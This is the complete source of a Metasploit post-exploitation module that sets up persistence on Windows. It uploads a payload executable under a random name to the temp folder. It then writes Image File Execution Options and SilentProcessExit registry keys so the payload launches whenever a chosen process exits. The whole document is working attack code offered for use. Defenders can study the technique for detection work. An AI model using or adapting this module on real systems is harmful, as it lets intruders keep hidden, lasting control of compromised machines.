Microsoft Windows Silent Process Exit Persistence

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/file'  
require 'msf/core/exploit/exe'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Windows::Registry  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows Silent Process Exit Persistence',  
'Description' => %q(  
Windows allows you to set up a debug process when a process exits.  
This module uploads a payload and declares that it is the debug  
process to launch when a specified process exits.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mithun Shanbhag', # earliest author found  
'bwatters-r7', # msf module  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter', 'shell' ],  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => "Jun 28 2008",  
'References' =>  
[  
['URL', 'https://attack.mitre.org/techniques/T1183/'],  
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']  
],  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => 'true'  
}  
))  
register_options([  
OptString.new('PAYLOAD_NAME',  
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),  
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),  
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])  
  
])  
end  
  
def upload_payload(dest_pathname)  
payload_exe = generate_payload_exe  
write_file(dest_pathname, payload_exe)  
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")  
end  
  
def validate_active_host  
unless is_system?  
fail_with(Failure::NoAccess, "You must be System to run this Module")  
end  
  
begin  
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
raise Msf::Exploit::Failed, 'Could not connect to session'  
end  
end  
  
def write_reg_keys(image_file, payload_pathname)  
reg_keys = []  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",  
value_name: "GlobalFlag",  
type: "REG_DWORD",  
value_value: 512)  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",  
value_name: "ReportingMode",  
type: "REG_DWORD",  
value_value: 1)  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",  
value_name: "MonitorProcess",  
type: "REG_SZ",  
value_value: payload_pathname)  
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"  
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)  
reg_keys.each do |key|  
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])  
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")  
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])  
unless registry_getvalinfo(key[:key_name], key[:value_name])  
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")  
return false  
end  
end  
end  
  
def exploit  
validate_active_host  
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))  
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')  
image_file = datastore['IMAGE_FILE']  
payload_pathname = temp_path + "\\" + payload_name + '.exe'  
vprint_status("Payload pathname = #{payload_pathname}")  
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)  
end  
end  
  
`